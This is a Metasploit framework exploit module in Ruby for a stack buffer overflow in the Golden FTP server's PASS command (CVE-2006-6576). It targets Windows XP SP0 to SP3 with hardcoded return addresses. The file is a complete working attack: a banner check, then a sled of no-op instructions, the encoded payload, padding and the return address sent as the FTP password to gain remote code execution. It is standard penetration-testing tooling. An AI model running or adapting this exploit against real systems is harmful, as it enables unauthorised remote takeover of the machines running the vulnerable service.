##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability in the Golden FTP service, using the PASS
          command to cause a buffer overflow.  Please note that in order trigger the vulnerable
          code, the victim machine must have the "Show new connections" setting enabled.  By
          default, this option is unchecked.
        },
        'Author' => [
          'Craig Freyman', # Initial poc on exploit-db with iglesiasgg
          'bannedit', # Initial msf module
          'Joff Thyer <jsthyer[at]gmail.com>', # Improved msf version
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-6576'],
          [ 'OSVDB', '35951'],
          [ 'BID', '45957'],
          [ 'EDB', '16036'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Privileged' => false,
        'Payload' => {
          'Space' => 440,
          'BadChars' => "\x00\x0a\x0d",
        },
        'Platform' => ['win'],
        'Targets' => [
          [ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], # JMP ESI USER32.dll
          [ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ],     # JMP ESI USER32.dll
          [ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ]  # JMP ESI kernel32.dll
        ],
        'DisclosureDate' => '2011-01-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    disconnect
    vprint_status("FTP Banner: #{banner}".strip)
    if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    shortjmp = make_nops(3) + "\xeb\x20"
    nopsled = make_nops(1) * 60
    srciplen = Rex::Socket.source_address.length
    padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))

    sploit = nopsled
    sploit << payload.encoded
    sploit << padding
    sploit << [target.ret].pack('V')

    print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")

    connect
    raw_send(shortjmp + "\n")
    send_user(datastore['FTPUSER'])
    send_cmd(['PASS', sploit], false)
    select(nil, nil, nil, 2)
    handler
    disconnect
  end
end
